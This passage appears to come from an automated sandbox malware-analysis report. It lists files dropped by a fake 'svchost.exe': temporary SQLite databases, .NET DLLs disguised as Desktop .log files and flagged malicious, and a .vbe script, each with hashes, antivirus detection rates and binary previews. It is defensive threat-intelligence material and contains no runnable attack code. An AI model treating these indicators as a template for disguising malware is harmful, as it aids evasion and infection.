                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yG03YqYgoH

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yMmSEbUSDr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yYdm0tpT2K

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yaPWiKiN9e

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yisgZQ6RPu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\ysYUkUrmZA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\yxXa4Pu5QA

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\z77dGPLFwF

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zSLKtkpvQ7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zTjbLI1GsP

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zbxQPnPTlo

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zjCiR5h0uQ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zk99Q6NLnV

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zquiO28sjk

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\zuUMp2JuXM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\Desktop\ApTjSBhc.log

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):24576
                                                                      Entropy (8bit):5.535426842040921
                                                                      Encrypted:false
                                                                      SSDEEP:384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
                                                                      MD5:5420053AF2D273C456FB46C2CDD68F64
                                                                      SHA1:EA1808D7A8C401A68097353BB51A85F1225B429C
                                                                      SHA-256:A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
                                                                      SHA-512:DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                      • Antivirus: Virustotal, Detection: 14%, Browse
                                                                      Joe Sandbox View:
                                                                      • Filename: eCGKhYZtgx.exe, Detection: malicious, Browse
                                                                      • Filename: WebDriverDll.exe, Detection: malicious, Browse
                                                                      • Filename: Loader.exe, Detection: malicious, Browse
                                                                      • Filename: K61NUunFJv.exe, Detection: malicious, Browse
                                                                      • Filename: TYg9Jx5SUa.exe, Detection: malicious, Browse
                                                                      • Filename: jNdchqKV8i.exe, Detection: malicious, Browse
                                                                      • Filename: SjA6nVF1ey.exe, Detection: malicious, Browse
                                                                      • Filename: vD4M7DL9MY.exe, Detection: malicious, Browse
                                                                      • Filename: OIqT7902yf.exe, Detection: malicious, Browse
                                                                      • Filename: h6t9F6kG2d.exe, Detection: malicious, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                      C:\Users\user\Desktop\LMrHnriI.log

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):32256
                                                                      Entropy (8bit):5.631194486392901
                                                                      Encrypted:false
                                                                      SSDEEP:384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
                                                                      MD5:D8BF2A0481C0A17A634D066A711C12E9
                                                                      SHA1:7CC01A58831ED109F85B64FE4920278CEDF3E38D
                                                                      SHA-256:2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
                                                                      SHA-512:7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: ReversingLabs, Detection: 29%
                                                                      • Antivirus: Virustotal, Detection: 29%, Browse
                                                                      Joe Sandbox View:
                                                                      • Filename: eCGKhYZtgx.exe, Detection: malicious, Browse
                                                                      • Filename: czcgyt.exe, Detection: malicious, Browse
                                                                      • Filename: trkfmve.exe, Detection: malicious, Browse
                                                                      • Filename: iolZQ9869U.exe, Detection: malicious, Browse
                                                                      • Filename: 2f3cc3bc5e36d27c9b2020e20fc2a031efba9ec81995a.exe, Detection: malicious, Browse
                                                                      • Filename: jZrY9owO7A.exe, Detection: malicious, Browse
                                                                      • Filename: Componentsession.exe, Detection: malicious, Browse
                                                                      • Filename: -#U00bc).exe, Detection: malicious, Browse
                                                                      • Filename: Loader.exe, Detection: malicious, Browse
                                                                      • Filename: fluent.exe, Detection: malicious, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                      C:\Users\user\Desktop\ThQetCXk.log

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):69632
                                                                      Entropy (8bit):5.932541123129161
                                                                      Encrypted:false
                                                                      SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                                      MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                                      SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                                      SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                                      SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: Avira, Detection: 100%
                                                                      • Antivirus: ReversingLabs, Detection: 17%
                                                                      • Antivirus: Virustotal, Detection: 22%, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                                      C:\Users\user\Desktop\eVuUdNSS.log

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):85504
                                                                      Entropy (8bit):5.8769270258874755
                                                                      Encrypted:false
                                                                      SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                                      MD5:E9CE850DB4350471A62CC24ACB83E859
                                                                      SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                                      SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                                      SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: Avira, Detection: 100%
                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                      • Antivirus: ReversingLabs, Detection: 71%
                                                                      • Antivirus: Virustotal, Detection: 69%, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                                      C:\Users\user\Desktop\jIMTFKhG.log

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):33792
                                                                      Entropy (8bit):5.541771649974822
                                                                      Encrypted:false
                                                                      SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                                      MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                      SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                      SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                      SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: ReversingLabs, Detection: 29%
                                                                      • Antivirus: Virustotal, Detection: 27%, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                      C:\comref\POAHIjOuJ41OH.vbe

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\ugRGgCJhQl.exe
                                                                      File Type:data
                                                                      Category:dropped
                                                                      Size (bytes):199
                                                                      Entropy (8bit):5.754681013833954
                                                                      Encrypted:false
                                                                      SSDEEP:6:GhwqK+NkLzWbH9WF08nZNDd3RL1wQJRrUceLVRZs:G0MCzWL74d3XBJyvjG
                                                                      MD5:551C8B5ECBF34768AE70749B3C650F32
                                                                      SHA1:9BF4528CA17FFCA526876B679480E6A4090DAEC6
